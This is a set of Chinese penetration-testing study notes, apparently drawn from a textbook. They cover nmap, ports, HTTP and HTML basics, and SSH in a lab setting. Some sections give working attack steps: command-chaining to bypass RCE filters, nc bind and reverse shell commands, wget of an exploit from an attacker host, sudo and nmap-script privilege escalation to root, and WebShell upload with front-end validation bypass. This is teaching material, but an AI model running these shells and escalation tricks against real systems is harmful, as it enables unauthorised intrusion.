-oG选项表示以一种易于检索的格式记录信息,即将每台主机的信息都集中到单独一行来显示,但是该选项默认会将扫描结果保存成文件,如果我们不想保存为文件,那么可以使用“-oG -”的方式,最后的“-”表示将扫描结果直接在屏幕上输出,而不保存成文件。

-p - 或 -p 1-65535 进行全端口扫描,默认仅扫描常用1000个端口。

 

 

主机发现

执行的nmap命令中用到了-sn选项,可以通过执行图2-7中的命令查看该选项的帮助信息。可以看到,它的作用是以ping方式扫描,同时不扫描开放端口。

默认情况下,nmap不仅会扫描哪些主机在线,还会扫描这些在线的主机开放了哪些端口,由于我们的目标只是扫描在线主机,因而用该选项可以加快扫描速度。

image

image

 在上面的扫描结果中包含了很多信息,而我们的目的只是获知哪台主机在线,因而可以进一步使用-oG选项来简化输出

-oG选项表示以一种易于检索的格式记录信息,即将每台主机的信息都集中到单独一行来显示,但是该选项默认会将扫描结果保存成文件,如果我们不想保存为文件,那么可以使用“-oG -”的方式,最后的“-”表示将扫描结果直接在屏幕上输出,而不保存成文件。所以在用nmap扫描整个网段进行主机发现时,推荐的用法是:

image

 扫描端口

计算机网络中的端口并不是指在某台设备上真实存在的物理接口,而是纯粹的逻辑接口。在计算机网络中,所谓的端口实际上就是一个编号。

在网络通信时可以通过IP地址来定位网络中的计算机,但是在每台计算机中可能会同时运行了很多程序。计算机是如何区分这个数据应该交由哪个程序来处理,这就要用到端口,端口的主要作用是用来区分各种网络应用程序。

网络上传送的大多数数据不仅仅只携带了IP地址,还会带有端口号。​“IP地址+端口号”称为socket,通过socket就可以准确定位网络上某台主机中运行的某个程序(准确地说应该是某个进程)。网络通信的本质是网络中不同主机上所运行的进程之间的通信,而这些主机和进程都要通过socket进行区分。

端口分类

端口号的十进制取值为0~65535,其中0端口未用,可用的端口号是1~65535。

端口号总体被分为两大类:

  固定端口:1~1023。

  随机端口:1024~65535。 

image

 端口号为什么要分为固定端口和随机端口呢?

  笔者使用的计算机(IP地址为192.168.31.184)属于客户端,计算机中运行的浏览器所使用的端口号是55203。按照上面的分类,这是一个随机端口。也就是说,如果把浏览器关闭,那么,当用户再次打开浏览器访问51CTO博客时,使用的就不再是这个端口了。对于客户端而言,什么时候会去访问网站,这完全是随机行为,所以自然应该采用随机端口。当客户端的某个应用层程序需要通过网络传输数据时,系统就为它分配一个随机端口;当数据传输完毕,与服务器之间的连接断开,那么端口就被自动收回,可以再分配给其他程序使用。如果也没有其他程序要使用这个端口,那么端口就会被关闭。

  51CTO博客作为服务端(IP地址203.107.44.140)​,所使用的端口号是443,这是一个固定端口。

  固定端口包含以下两层含义:

    这个端口是固定分配给某个程序使用的。TCP443端口对应的就是HTTPS协议。

    固定端口不会自动关闭,即使没有任何数据在传输,这个端口也会一直开放着。

在服务端只要运行了某种服务,就会开放相应的固定端口,端口与服务是一一对应的。至此我们就可以理解,为什么渗透测试的第一步是扫描靶机上开放的端口,因为只要知道了靶机开放了什么端口,就可以了解靶机上正在运行的服务,从而可以进一步寻找可以利用的地方。这就要求我们要熟悉那些在网络安全中经常涉及的敏感端口,例如TCP80和TCP443端口都是对应了Web服务,TCP22端口对应了SSH服务,TCP445端口对应了Samba服务,TCP21端口对应了FTP服务等。

端口映射关系查询

对于一些不熟悉的端口,我们可以通过grep命令在/etc/services文件中查询,这个文件中记录了所有端口和服务之间的对应关系。

查询TCP2049端口对应的服务,可以执行图2-17所示的命令,从命令的执行结果中可以看到,TCP2049端口对应了NFS(Network File System)服务。

image

端口查看

执行netstat -an命令查看端口状态。从命令的执行结果中可以看出,当前主机192.168.31.184:55203是本地主机的socket,55203是本地主机上的浏览器所使用的端口号。203.107.44.140:443是51CTO博客服务器的socket,443是这台服务器上的Web服务所使用的端口号。

image

绝大多数的网络通信都是在socket之间进行的。socket中的IP地址对应了网络中的某台具体主机,socket中的端口号则对应了这台主机中的一个具体的应用程序。

 解释传输层端口号的起源

传输层的协议只有两个:TCP和UDP(存疑,不只是这两个,还有其他的传输层协议),而应用层的程序则是多种多样,所以这就带来一个问题:

传输层的协议如何区分它所接收到的数据到底是对应了应用层的哪个程序端口就是为了解决这个问题而引入的。所以在理论层面,端口是一个传输层的概念,它是传输层的协议为了区分应用层的程序,而为它们分配的一个编号。

每个端口都对应着一个应用层的程序,当一个应用程序要与远程主机上的应用程序通信时,传输层协议就为该应用程序分配一个端口。端口号是唯一的,不同的应用程序有着不同的端口,以使彼此的数据互不干扰。

image

 现在就可以解释为什么像ping命令这类网络程序不需要端口号,原因其实很简单,因为ping命令使用的是网络层的ICMP协议,而网络层在传输层之下,所以ping命令的数据不需要经过传输层的处理,这样自然就不需要为其分配端口号了。

同理,数据链路层的ARP协议也不需要端口号。但这类程序毕竟是少数,我们平时使用的绝大多数网络程序都是位于应用层,因而都会有相应的端口号。

端口是一个传输层的概念,是由传输层的TCP或UDP协议给应用层的程序分配的。在表示端口时,应标明这是一个TCP端口还是一个UDP端口。

 

 

 

 

 

 

 

 

浏览器插件

X-Forwarded-for Header

接下来对网站的访问都要求修改客户端IP,这样用Burp Suite操作起来就有些麻烦了。我们可以在Firefox浏览器中安装一个插件“X-Forwarded-for Header”​,通过这个插件也可以修改请求报文中的x-forwarded-for,安装完插件后,设置要修改的客户端IP。这样,我们只要单击该插件,所有从此浏览器发出的请求报文都会采用经过伪造的IP。

image

image

 

信息收集

linux版本信息

由于开源的特点,Linux系统区分了发行版本和内核版本这两个概念。例如CentOS 7.9和Kali2023.4指的是发行版本,不同的发行版所采用的往往都是不同版本的Linux内核。

在CentOS系统中,可以执行下面的命令查看系统版本,从命令的执行结果可以发现是发行版本。

[root@CentOS ~]# cat /etc/redhat-release
CentOS Linux release 7.9.2009 (Core)

查看内核版本可以执行uname -r命令,从命令的执行结果可以看到CentOS 7.9采用的是3.10版本的内核。

[root@CentOS ~]# uname -r
3.10.0-1160.el7.x86_64

由于脏牛漏洞是在Linux内核中存在的漏洞,所以我们这里主要关注的是内核版本,如果是在2007年~2016年10月发布的内核,那么这些内核大概率都会存在脏牛漏洞。

对于CentOS 7.9系统,它所使用的3.10版的内核是在什么时间发布的呢?可以执行uname -v命令查看内核发布时间,可以看到这个版本的内核是于2020年10月19日更新的,所以就不存在脏牛漏洞。

[root@CentOS ~]# uname -v
#1 SMP Mon Oct 19 16:18:59 UTC 2020

在Debian派系的系统中,可以执行lsb_release -a命令查看发行版的版本,例如查看Kali系统的发行版本:

image

 在Kali中查看内核版本,同样可以执行uname命令

image

 可以看到,Kali 2022.4使用的是6.0版的内核,内核的发布时间是2022年11月7日,同样,在该版本中也不存在脏牛漏洞。

 

 

python搭建临时网站

利用Python的http.server模块在Kali上快速搭建出一个网站,然后在靶机中就可以从Kali这个网站中下载文件了。

因为我们之前已经在Kali上把exploit程序文件复制到了/root目录中,所以下面就在/root目录中执行python -m http.server 80命令,这样就可以快速地在Kali中搭建起一个网站。当前的/root目录就是网站的主目录,网站的端口号就是命令中所指定的80端

 image

 这样,我们就可以在靶机Shell中用wget命令来下载exploit文件

wget http://192.168.213.150:90/40847.cpp 

 

burp suite使用技巧

除了变量,在Positions中还要选择攻击类型Attacktype,Burp Suite提供了以下4种攻击类型:

  • Sniper:狙击手,只设置一个字典,可以指定一个或多个变量,所有变量依次使用同一个字典进行破解。
  • Battering ram:攻城锤,只设置一个字典,可以指定多个变量,所有变量同时使用同一个字典进行破解。
  • Ptichfork:草叉子,可以设置多个字典,可以指定多个变量,为每个变量分别设置一个字典,破解次数取决于最小字典。
  • Cluster bomb:集束炸弹,可以设置多个字典,可以指定多个变量,为每个变量分别设置一个字典,然后用字典内容组合(笛卡尔积)对变量进行替换,尝试每一个组合。例如,第一个字典内容是{a,b},第二个字典内容是{c,d},则攻击序列为{a,c}、{a,d}、{b,c}、{b,d}。

这4种攻击类型中最常用的就是默认的Sniper,这里就使用这种默认类型。

 

 

 php系统命令执行函数

在PHP中提供了一些可以直接调用执行系统命令的函数,如shell_exec( )、system( )、exec( )、passthru( )等,其中system( )函数在第6章介绍一句话木马时曾经使用过。这些函数的功能都是类似的,例如system('ls')表示调用执行ls命令,shell_exec('pwd')表示调用执行pwd命令。

下面对这段代码做分析。之前反复强调,Web安全的核心就是代码审计。我们必须要读懂代码,理解程序的运行逻辑,才能发现其中存在的漏洞,并理解漏洞的产生原因以及利用和防御方法。

 

linux系统命令RCE

有些网站为了防止出现RCE漏洞,会对用户输入的数据进行过滤,如过滤分号。但除了使用分号以外,还有很多方法也可以同时执行多条命令。

下面列举了一些在Linux系统中允许同时执行多条命令的符号。

  •  “;”​:连接多条命令。[插图] “&&”​:前面的命令执行成功了,才会执行后面的命令。
  • “||”​:前面的命令执行失败了,才会执行后面的命令。
  •  “|”​:前面的命令输出结果作为后面命令的输入内容。
  •  “&”​:将前面的命令转入后台执行,并同时执行后面的命令。

下面分别举例说明。

用&&连接两条命令时,必须要保证左侧的命令能够成功执行,这样才会执行右侧的命令。例如,ping -c 1 127.0.0.1 && whoami,&&左侧的ping命令可以正常执行,这样,&&右侧的whoami命令也正常执行了

 

image

再如执行命令ping -c1 -w1 2.2.2.2 && whoami,2.2.2.2是一个不存在的IP,因而无法ping通,选项-w 1表示只等待1s。由于ping命令没有成功执行,所以,&&右侧的whoami命令也不能正常执行

image

 ||的特点与&&正好相反,用||连接两条命令时,必须保证左侧的命令不能成功执行,这样,才会执行右侧的命令。例如命令ping -c1 -w1 2.2.2.2 || whoami,||左侧的ping命令没有ping通,这样才会执行||右侧的whoami命令

 

image

 |是Linux中的管道符,正常情况下是把|左侧命令的输出作为|右侧命令的输入,|左右两侧的命令之间应该是有关联的。但其实|两侧的命令也可以没有任何关系,而且无论|左侧的命令能否成功执行,都不会影响执行|右侧的命令。

 例如下面的操作就成功执行了whoami命令。

[root@CentOS ~]# ping -c1 -w1 2.2.2.2 | whoami
root

&的作用是把左侧的命令转入后台执行,无论左侧命令能否成功执行,都不会影响执行右侧的命令

image

 nc获取正向shell

正向Shell是指在靶机上开放指定端口。 这里使用nc命令的-lp选项在CentOS上开放6000端口(可以在1~65535随意指定未被使用的端口)​,并用-e选项指定当有客户端连接到6000端口之后,要执行指定的程序。-e /bin/bash表示让客户端执行bash,即让客户端获取Shell

[root@CentOS ~]# nc -lp 6000 -e /bin/bash

执行该命令之后,CentOS的终端将被占据。然后在Kali上执行nc命令连接到CentOS的6000端口,这样,就成功获取了CentOS的Shell。

image

 nc获取反弹Shell

反弹Shell是指在Kali上开放端口。跟之前使用php-reverse-shell时一样,首先在Kali上执行nc命令监听指定端口,如6666。这里使用了-lvvp选项,其中,vv表示显示详细信息。

┌──(root㉿kali)-[~]
└─# nc -lvvp 6666
Listening on [any] 6666 ...

在CentOS上执行nc命令连接到Kali的6666端口,关键在于还要用-e选项指定当连接到Kali之后要执行的程序,这里同样是要执行/bin/bash,这样,就可以接收从Kali发来的数据并在CentOS的bash上执行。

[root@CentOS ~]# nc -e /bin/bash 192.168.80.129 6666

命令执行之后,在Kali上就成功获得反弹回来的Shell

 image

 sudo用户查找思路

查看mark的家目录,发现其中存在一个文件/home/mark/stuff/things-to-do.txt,这应该是一个备忘录,其中记录了graham用户的密码

image

 尝试切换到graham用户,密码正确,成功切换。这时就可以换成用SSH以graham用户的身份登录靶机,这种标准Shell的功能最为强大,也更符合我们的使用习惯

image

 登录之后,首先查看graham的家目录,发现是空的。再次执行sudo -l查看是否被做了sudo授权,发现graham被授权可以用jens用户的身份执行一个脚本文件/home/jens/backups.sh

image

 查看这个脚本文件,发现是在用tar命令对/var/www/html目录进行备份

image

 接下来的思路比较新颖。由于这里的sudo并没有授权以root身份执行操作,而是授权了jens用户身份,所以可以尝试能否通过这个授权切换到jens用户

image

 首先,查看这个脚本文件的权限,发现devs组对脚本文件具有写入权限

再查看graham用户的身份信息,发现其也是devs组的成员,所以对这个脚本文件应该具有写入权限

image

 我们的目的是希望能通过运行这个脚本来获取一个以jens用户打开的Shell,所以可以通过重定向的方式向脚本中添加/bin/bash

image

 然后执行sudo -u jens ./backups.sh命令,指定以jens的身份执行脚本,这样就成功切换到jens用户身份

同样,再查看jens是否被做了sudo授权,发现jens被授权可以用root身份执行nmap

image

 接下来,很明显要利用nmap提权了。但是这台靶机中使用的nmap版本比较新,不存在之前所使用的交互模式,无法使用这种方法提权。

image

  nmap提权还有一种很常用的思路是利用nmap的执行脚本功能,nmap自带了很多渗透测试脚本,默认存放在/usr/share/nmap/scripts目录中,利用--script选项可以加载指定的脚本。

 nmap的脚本是用Lua语言开发的,这里我们可以自己写一个用于提权的脚本,脚本内容就是通过Lua中的os.execute( )方法去调用执行系统程序/bin/bash。nmap的脚本默认都是以.nse作为文件名后缀,图7-26就是通过重定向生成了一个名为shell.nse的脚本

image

 然后以sudo方式通过nmap去执行提权脚本,就可以成功提权

image

 最后,在root家目录中找到flag

image

 

 

 

 

基础知识

web服务两大核心技术

Web服务有两大核心技术:超文本标记语言(HTML)和超文本传输协议(HTTP)

网页的本质是HTML代码,关于HTML的内容将在后面进行介绍,这里我们先来了解HTTP。HTTP首先是一种协议,在之前的计算机网络模型部分也曾介绍过,网络协议是在计算机网络中通信双方所应遵循的规则。网络中的每一项服务都要遵循相应的协议,其中Web服务所遵循的就是HTTP协议。

HTTP协议遵循请求(Request)/响应(Response)模型,所有的HTTP通信都被构造成一对HTTP请求和HTTP响应报文。HTTP请求只能由客户端发起,服务器不能主动向客户端发送数据

 

用户在客户端上通过浏览器去访问网站,这其实是在通过HTTP协议向网站发出访问请求,网站接收到请求之后,找到相应的网页并以HTTP响应的方式返回客户端,客户端的浏览器接收到响应后对其进行解释,最终将图、文、声并茂的页面呈现给用户。这就是Web服务的基本工作过程

web基本概念

下面介绍几个Web相关的基本概念。

1.静态资源和动态资源

在一次HTTP请求和响应的过程中,客户端所请求以及服务器所返回的内容就称为Web资源。

Web资源总体上分为静态资源和动态资源两类。静态资源和动态资源的分类依据是,服务器是否需要对这些资源处理之后再发送给客户端。

对于静态资源,只要客户端请求访问这些资源,服务器无须对其进行额外的处理,直接将这些资源发送给客户端即可。

典型的静态资源如下。

  文件名后缀为“.htm”或“.html”的各类静态网页文件。

  文件名后缀为“.jpg”​“.jpeg”​“.gif”​“.png”的各类图片文件。

  文件名后缀为“.txt”的各类文本文件。

  文件名后缀为“.mp3”​“.avi”的各类音频和视频文件。

  文件名后缀为“.css”​“.js”的各类前端脚本文件。

动态资源通常是指用脚本语言开发的脚本程序文件。

根据网站所使用的脚本语言不同,脚本程序文件主要有

  文件名后缀为“.php”的PHP脚本文件以及

  文件名后缀为“.jsp”的JSP脚本文件等。

这些脚本程序文件在接收到客户端发来的请求之后,需要先在服务器端运行,然后再将得到的结果发给客户端。

客户端可以向这些脚本程序发送参数,然后,服务器根据客户端请求参数的不同而向客户端发送动态变化的内容,从而实现客户端与服务器端的交互。

例如,在CentOS虚拟机中创建一个html文件/var/www/html/test.html,文件内容是一行简单的HTML代码:

<h1>This is my WebSite</h1>

然后,在客户端访问test.html并查看其源码,可以发现源码与服务器端是完全一样的,所以这是一个典型的静态资源。

image

 在CentOS虚拟机中再创建一个PHP文件/var/www/html/test.php,文件内容是一行简单的PHP代码:

<?php phpinfo( ); ?>

在客户端访问test.php并查看其源码,看到的是大量的HTML代码。这些都是PHP代码执行后的结果,因而这是一个典型的动态资源。

image

 目前的绝大多数网站都是采用的动态页面,例如在一个购物网站中可能会存在大量不同类别、不同型号的商品,每种商品都有各自的商品信息,如果为每种商品都设计一个单独的网页,那么整个网站将无比庞大和复杂,运维人员后期维护起来也将非常困难。所以正确的做法是将所有的商品信息都存放在网站数据库中,然后编写一个脚本程序文件,该文件接收到客户端发来的要浏览某个商品的请求之后,就先从数据库中调取相关商品的信息,然后再将这些信息与css框架、js脚本等结合在一起,以HTML代码的形式发送到客户端。客户端所看到的内容是由服务器端动态生成的,所以称为动态资源。

2.统一资源定位符

URL地址格式如下:、

协议名://主机名(IP地址)/路径?参数名1=参数值1&参数名2=参数值2

参数:用于客户端向网站传送数据,参数可以有多个,中间用&分隔。由于多数情况下,客户端并不需要向网站传送数据,所以很多URL中并没有参数部分。

对于初学者,一定要理解URL中的主机名,其实对应的就是Web服务器中的网站主目录。例如对于使用LAMP平台的网站,默认的网站主目录是/var/www/html。假设网站的域名是www.test.com,那么URL地址http://www.test.com/在Web服务器中所对应的就是网站主目录/var/www/html。

另外,这里还涉及一个网站首页的概念,网站首页是指客户端在访问网站时默认打开的页面,首页文件通常都是以index命名,如index.html、index.php等。假设www.test.com网站的首页文件是index.php,那么URL地址http://www.test.com/就等同于http://www.test.com/index.php,都表示要去访问Web服务器中的/var/www/html/index.php文件。

3、网站的框架固定性

get方法

需要注意的是,客户端是否需要向服务器传送数据,这需要由网站开发人员根据实际需求来进行设置。

对于目前广泛使用的动态页面,页面的框架通常都是固定的,客户端向服务器端传送相应的参数,网站就根据用户传递的不同参数在这个页面中显示相应的信息。

 

例如,进入我们之前搭建的DVWA网站,找到SQLInjection模块,在User ID文本框中输入1,然后单击Submit按钮,就可以看到这个数据通过GET方法发送给了网站。

通过GET方法传送的数据会直接暴露在浏览器的地址栏中,这增加了信息泄露的风险。因此,对于敏感信息,如用户密码,使用GET方法进行传输是不妥当的。

 

如要登录某个网站,那么客户端就需要向服务器传递用户名和密码等数据,所以HTTP协议也允许客户端通过GET方法向服务器传送少量数据。例如请求头“GET index.php?id=1 HTTP/1.1”​,表示客户端请求访问服务器的index.php页面,并用GET方法向服务器传递数据“id=1”​,id是在服务器端事先定义好的一个参数,数值1就是客户端所传送的数据。如果要同时传递多个参数,参数之间以“&”分隔,如“id=1&name=admin”​。

 

post方法

为了解决GET方法存在的问题,随后引入了POST方法。顾名思义,POST方法专门设计用于客户端向服务器传送数据。

POST方法把要传送的数据放在HTTP请求报文的正文中,所以这些数据不会显示在浏览器的地址栏中。使用POST方法传送的数据没有长度限制,因此可以用于向服务器发送大量数据,所以在诸如用户登录、文件上传、留言提交等场景都会使用POST方法。

 

payload

掌握GET和POST这两种请求方法对于学习Web安全非常重要,因为要对网站进行渗透测试,通常都需要向网站发送一些经过精心构造的数据或代码,这些数据或代码被称为payload。这些payload要根据不同的需求,采用相应的请求方法发送给网站。

 

http请求头配置注意事项

除了Burp Suite,用HackBar也可以修改请求报文的头部,而且操作更为简便。在HackBar中添加头部字段时要遵循固定的格式,注意,冒号后面要留有空格,例如:

x-forwarded-for: 123.123.123.123

web前端和后端

对于一个网站,所使用的代码有前端和后端之分。前端是指客户端,后端是指服务器端。

  • 前端代码是指在客户端运行的代码,主要包括HTML和JavaScript。
  • 后端代码是指在服务器端运行的代码,主要包括PHP、JSP、ASP.net等。

学习Web安全,核心其实就是学习这些代码,尤其是后端代码,这样才能从代码的层面去发现和利用漏洞。

 

网站代码为什么要有前后端之分呢?

这是因为HTML是Web服务的核心语言,早期的网站其实只有HTML,这些网站当然也都属于是静态网站。在这里,我们有必要再次明确“静态”的概念。静态指的是网页在服务器上存储的代码,以及传输到客户端浏览器后所呈现的代码,两者是完全一致的。

随着网站中的各种应用越来越多,用户的需求也越来越复杂,单纯的静态页面无法满足需求,因而后来才又出现了PHP、JSP这类动态页面。

“动态”是指网站中存储的代码与客户端看到的代码是不一样的。以PHP为例,网站中存储的是PHP代码,当用户访问一个PHP页面时,首先在服务器端执行PHP代码,然后再将执行结果以HTML代码的形式发给客户端,所以在客户端看到的仍然是HTML代码。

我们必须明确认识到,客户端是无法直接查看PHP等后端代码的。对于一个网站而言,后端代码承载着网站的运行逻辑,因此属于网站的核心机密。后端代码一旦泄露,可能会导致严重的安全风险。

 

 

html页面结构

HTML是指超文本标记语言,虽然名字中带有“语言”​,其实严格来讲,HTML并不属于编程语言,因为在HTML中没有选择、循环这类基本的程序结构。HTML是一种标记语言(标记也称为标签)​,它的主要作用是用来定义信息在网页中的显示效果。HTML标签通常都是成对出现,如<p>和</p>,其中,<p>是开始标签,</p>是结束标签。每一组标签都有相对应的功能,例如<p>和</p>这组标签用于定义段落,<h1>和</h1>这组标签用于定义一级标题等。学习HTML时,需要我们关注这些标签的功能和用法。

一个典型的HTML页面的代码结构如下:

<!DOCTYPE HTML>
<html>
<head>
      <meta charset="utf-8">
<title>这是一个HTML网页</title>
</head>
<body>
<h1>这是一级标题</h1>
<!-- 这是注释 -->
<p>这是一个段落</p>
</body>
</html>

具体内容,请参考原书,有详细解释,这里只做部分摘抄。

<img>标签

<img>标签用于在网页中插入图片。在<img>标签中需要使用src属性来指定图片路径,<img>是一个单标签,不必有配套的结束标签。下面的代码用于在网页中插入图片/images/1.jpg,需要注意的是,images目录应位于网站的主目录之下,而不是在Linux系统的根目录下。

<p><img src="/images/1.jpg"></p>

<a>标签

<a>标签用于设置超链接。HTML被称为超文本标记语言,所谓的超文本就是指包含有超链接的文本。

在<a>标签中需要使用href属性来指定要链接到的页面,例如下面的代码用于设置一个名为test的超链接,单击链接就可以跳转到网站主目录下的test.html页面。

<a href="/test.html">test</a>

将<a>标签和<img>标签结合起来,可以设置图像超链接。例如下面的代码,可将图片1.jpg设置为超链接,单击图片就可以跳转到test.html页面。

<a href="/test.html"><img src="/images/1.jpg"></a>

<form>标签(重点)

表单(form)是需要重点掌握的一个知识点,因为表单在Web安全中经常被用到。

表单主要用于接收客户端输入的数据,并发送给服务器,常见到的用户登录页面就是典型的表单。

需要注意的是,表单是一个整体,在表单中还包括很多元素。例如用户登录页面,其中用于输入用户名(Username)和密码(Password)的两个文本框以及Login按钮都是表单中的元素。

<form>标签只用于创建表单,在表单中还应根据需要添加各种元素。下面是一段典型的表单代码,代码中的&nbsp表示空格。

image

 这段代码的页面显示效果

image

下面依次介绍表单中的一些主要代码。

首先,在<form>标签中有两个非常重要的属性:action和method。

  • action属性用于指定服务器端用于接收用户数据的页面。action="UserLogin.php"表示在服务器端由UserLogin.php页面来接收并处理用户传来的数据。
  • method属性用于指定HTTP请求方法。在表单中通常都是使用POST方法传递数据。

其次,<input>是表单中的一个非常重要的子标签,用于收集用户输入的信息。<input>标签中也有两个非常重要的属性:name和type。

  • name属性用于指定控件名称。对于服务器端,用于接收用户数据的页面,通过控件名称来区分用户所输入的数据的。
  • type属性用于指定控件类型。常见的控件类型如下。

type="text",表示生成一个文本框控件。

type="password",表示生成一个密码框控件,在密码框中输入的信息会用“*”代替。

type="submit",表示生成一个提交按钮。

type="reset",表示生成一个重置按钮。

 

 JavaScript基础

JavaScript是对HTML在功能上的扩展,JavaScript的代码嵌入在HTML中,直接在客户端的浏览器上执行(JavaScript属于前端语言)​。注意,JavaScript与Java没有任何关系,它们只是名字相似而已。

基本JavaScript代码

由于JavaScript的代码是嵌入在HTML中的,因此需要有一组标记,JavaScript的开始标记是<script>,结束标记是</script>,例如下面的代码。

<script> alert("Hello World") </script>

alert( )是JavaScript中的一个函数,它的功能是在页面上弹出一个对话框,并显示指定的信息。alert( )函数的执行效果。

image

 除了弹框,JavaScript也可以将信息直接输出在网页中,这需要使用document对象的write( )方法。JavaScript属于面向对象的编程语言,在代码中会大量用到对象以及方法。这里用到的document对象就是指当前页面,document.write( )表示在当前页面中输出指定的信息。

<script> document.write("Hello World") </script>

 在JavaScript中定义变量需要使用var语句来声明,跟PHP不同的是,变量名称前面不需要加$符号。另外,JavaScript中字符串连接使用的是加号,而不是点

下面的代码是在页面上输出“<h1>Helloadmin</h1>”​,其中的<h1>会被浏览器按照HTML代码中的<h1>标签来解释,从而实现一级标题的效果。

<script>
var name = "admin'
document.write("<h1>Hello+ name + "</h1>")
</script>

JavaScript中的选择和循环语句与PHP等其他编程语言类似。

下面的代码是JavaScript中的if选择语句,用来判断变量a和b的值的大小,从而执行相应的操作。

image

 下面的代码是JavaScript中的for循环语句,定义了循环变量i在0~100循环取值,并将i的值累加存放到变量s中,最终输出的是0~100的累加之和。

image

 

javaScript使用结构1:

 JavaScript最常用的功能是与客户端进行交互,例如用作按钮的触发事件。下面的代码定义了一个按钮,单击按钮就会触发onClick事件,并执行其中指定的JavaScript代码,从而在页面上弹框输出指定的信息。

<input type="button" value="单击" onClick="alert('单击事件') ">

在上面这段代码中,JavaScript代码与HTML代码是混杂在一起的,这不利于代码的后期维护。通常的做法是将JavaScript代码与HTML代码分离。例如,下面的代码即在JavaScript中定义了一个test( )函数,然后在HTML代码中来调用这个函数。

javaScript使用结构2:

<input type="button" value="单击" onClick="test( )">
<script>
function test( ) {
alert('单击事件')
}
</script>

对于上面这段代码,JavaScript与HTML代码其实仍然是混合在一起的,未能实现真正意义上的分离,所以,在实践中采用的代码通常都是下面这种形式:

javaScript使用结构3:

<input type="button" value="单击" id="btn">
<script>
var btnClick = document.getElementById("btn")
btnClick.onclick = function( ) {
alert('单击事件')
}
</script>

上面这段代码真正地将HTML和JavaScript代码完全分离。在这段代码中,首先为按钮定义了名为“btn”的id,id值可以随意,但在当前页面中必须保持唯一。然后在下面的JavaScript代码中,通过document.getElementById( )方法来引用了按钮这个元素,并赋值给变量btnClick。这里的btnClick其实就是一个对象,然后为这个对象的onclick( )方法(也就是单击)定义了一个函数,从而来实现弹框功能。

JavaScript不同于HTML,它是一门真正的编程语言,因而学习JavaScript的难度相比HTML要大得多。不过在之前也介绍过,从学习Web安全的角度,我们需要重点研究的是后端语言,主要也就是PHP。对于HTML和JavaScript这些前端语言,只要我们能掌握上述内容,可以大概看懂基本代码即可。

http响应码

根据状态码的第一位数字,可将状态码分为5个大类:

  • 1xx:指示信息,表示请求已经接收,会继续处理。这种状态码很少见到。
  • 2xx:客户端请求被服务器成功接收并处理后返回的响应。
  • 3xx:重定向,客户端请求被重定向到其他资源。
  • 4xx:客户端请求错误。
  • 5xx:服务器执行请求时遇到错误。

状态码共有50多个,其中比较常见的状态码如表。

image

 对网页上传shell马

演示过如何在WordPress中发布一篇文章,从初学者的角度很容易就能想到,如果把WebShell中的代码全部复制下来,然后在WordPress中当作一篇文章发布出去,这是否能达到上传WebShell的目的呢?

首先可以明确的是,这种思路是行不通的,下面详细解释原因。

虽然我们目前拥有了网站的管理权限,登录到网站后台就可以对网站中的内容进行调整,但我们能够改动的仅仅只能是网站的内容,对网站的结构是无法做任何改动的。虽然我们目前拥有了网站的管理权限,登录到网站后台就可以对网站中的内容进行调整,但我们能够改动的仅仅只能是网站的内容,对网站的结构是无法做任何改动的。

例如我们发布了一篇文章,访问这篇文章所用的URL地址是http://192.168.80.20/wordpress/?p=5。仔细分析这个URL就可以发现,这里所访问的其实是WordPress的首页index.php,这篇文章的内容并不是被写入到了index.php文件中,而是都被保存在数据库中,即存放在wordpress数据库的wp_posts表中,这个URL中的“p=5”就表示以此作为条件在数据库中查询,再将查询结果经过组织后显示在页面中。

所以我们在WordPress中每发布一篇文章,其实就是在数据库中添加了一条记录,而对网站本身的结构不会做任何改动。

这就可以理解,如果把WebShell的代码直接作为文章内容来发布,那么这些代码其实都是存储在数据库中,这样的代码是不可能被服务器执行的,因而也就无法发挥作用。

要想让WebShell中的代码能够被服务器执行,主要有两种思路:

  • 第一种思路是把WebShell作为一个独立的文件上传到服务器中,即在服务器中新增一个网页文件。
  • 第二种思路是把WebShell中的代码添加到服务器原有的某个网页文件中,这样在服务器中不会增加网页文件。

 

禁用前端JavaScript的方法

第一种方法是修改前端代码。

但是不同于HTML,JavaScript代码由于会被加载到缓存中,所以直接修改的话会比较麻烦。

这里可以在开发者工具中将表单(form)里调用JavaScript函数的代码删除,这样,就可以绕过JavaScript的检测了

 当然,最简单的方法是直接禁用JavaScript,这里推荐安装Firefox插件JavaScript Switcher。

插件安装以后,只需单击按钮,就可以随时启用或禁用JavaScript

 第二种方法是通过Burp Suite进行绕过。

可以先将要上传的文件的扩展名改为jpg,从而绕过前端验证,然后在Burp Suite中拦截报文,再将扩展名改回php,这样,真实发送给网站的就仍然是一个PHP文件。

当然,这里只是在知识层面把两种方法都做介绍,对于前端验证,在实践层面推荐使用JavaScriptSwitcher插件来禁用JavaScript即可。

由于前端验证很容易被绕过,因而在实践中用的并不多,除了第一关,Upload-labs中其余的所有关卡都是采用的后端验证。

 

 

 

 

 ssh协议

实际上,在SSH技术问世之前,远程管理任务通常是通过telnet实现的。然而,telnet在传输数据时采用的是明文形式,这意味着所有通信内容都可能被截获和窃取。相比之下,SSH则提供了数据加密功能,确保传输过程中的数据以密文形式进行,从而提高了通信的安全性。随着SSH技术的出现,其安全性优势使得它迅速取代了telnet,成为远程管理的首选工具。

Linux系统中所有的用户信息都集中存放在/etc/passwd文件中,/etc/passwd中的每一行代表一个用户的信息,可以发现这个文件中存放的用户信息特别多,但并非所有的用户都被允许登录系统,用户能否登录系统主要取决于用户的登录Shell。

/etc/passwd中的每行信息用冒号分隔成多个部分,其中最后一部分代表用户的登录Shell。

  •  登录Shell是/bin/bash、/bin/sh、/bin/zsh时,表示这个用户是允许登录系统的。
  • 登录Shell是/sbin/nologin、/bin/false时,表示这个用户是不允许登录系统的。

可以发现,文件中的绝大部分用户都是不允许登录系统的,这些不允许登录的用户主要是用于支持某些服务的运行,我们一般无须关注。

对于CentOS系统,默认使用的Shell是Bash,所以允许登录系统的用户所使用的登录Shell都是/bin/bash。执行下面的命令可以找出/etc/passwd中以bash结尾的行,这些行所对应的就是可以登录系统的用户。

[root@CentOS ~]# grep "bash$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:admin:/home/admin:/bin/bash
student:x:1001:1001::/home/student:/bin/bash

另外,我们还可以去查看/home目录,允许登录系统的用户通常都会在/home下创建一个同名的家目录,因而这也是一种快速判断系统中存在哪些可以登录系统的用户的简便方式。

 

[root@CentOS ~]#  ls /home
admin  student

 

 ssh和scp命令的使用

在进行渗透测试时,使用更多的是Linux下的SSH客户端工具ssh和scp。

ssh命令

ssh是一个远程登录命令,命令格式如下:

ssh  [用户名@]SSH服务器IP地址

